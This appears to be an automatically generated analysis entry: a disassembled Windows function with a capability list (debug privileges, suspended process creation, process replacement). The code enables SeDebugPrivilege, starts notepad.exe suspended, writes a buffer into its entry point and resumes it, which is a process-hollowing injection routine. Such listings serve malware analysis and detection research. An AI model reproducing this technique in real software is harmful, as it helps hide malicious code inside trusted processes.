Function at 0x401030
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x1228
call fcn.004012a0
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0x44
lea edi, [ebp - 0x120]
mov esi, 0x402150
lea eax, [ebp - 0x1138]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x28
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4010f8
lea eax, [ebp - 0x1158]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4010f8
mov eax, dword [ebp - 0x1158]
mov ecx, dword [ebp - 0x1154]
push 0
push 0
push 0x10
mov dword [ebp - 0x112c], eax
lea eax, [ebp - 0x1130]
push eax
push 0
push dword [ebp - 0x1138]
mov dword [ebp - 0x1130], 1
mov dword [ebp - 0x1124], 2
mov dword [ebp - 0x1128], ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4010f8
push dword [ebp - 0x1138]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
lea eax, [ebp - 0x11d0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x1190]
add esp, 0xc
movaps xmm0, xmmword [ebp - 0x11d0]
mov dword [ebp - 0x11e0], eax
lea eax, [ebp - 0x1150]
movaps xmmword [ebp - 0x1220], xmm0
movaps xmm0, xmmword [ebp - 0x11c0]
push eax
lea eax, [ebp - 0x1220]
movaps xmmword [ebp - 0x1210], xmm0
movaps xmm0, xmmword [ebp - 0x11b0]
push eax
push 0
push 0
push 4
push 0
push 0
movaps xmmword [ebp - 0x1200], xmm0
movaps xmm0, xmmword [ebp - 0x11a0]
push 0
movaps xmmword [ebp - 0x11f0], xmm0
xorps xmm0, xmm0
push str.c:windows_system32_notepad.exe
push 0
movaps xmmword [ebp - 0x1150], xmm0
movaps xmmword [ebp - 0x1180], xmm0
movq qword [ebp - 0x1170], xmm0
mov dword [ebp - 0x113c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea eax, [ebp - 0x113c]
push eax
push 0x18
lea eax, [ebp - 0x1180]
push eax
push 0
push dword [ebp - 0x1150]
call sub.ntdll.dll_NtQueryInformationProcess
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x1134]
push 0
push 4
push eax
mov eax, dword [ebp - 0x117c]
add eax, 8
mov dword [ebp - 0x1134], 0
push eax
push dword [ebp - 0x1150]
call esi
push 0x1000
lea eax, [ebp - 0x1120]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1120]
push 0
push 0x1000
push eax
push dword [ebp - 0x1134]
push dword [ebp - 0x1150]
call esi
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push section..text
mov esi, dword [ebp + eax - 0x10f8]
add esi, dword [ebp - 0x1134]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x111
lea eax, [ebp - 0x120]
push eax
push esi
push dword [ebp - 0x1150]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp - 0x114c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00401284
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret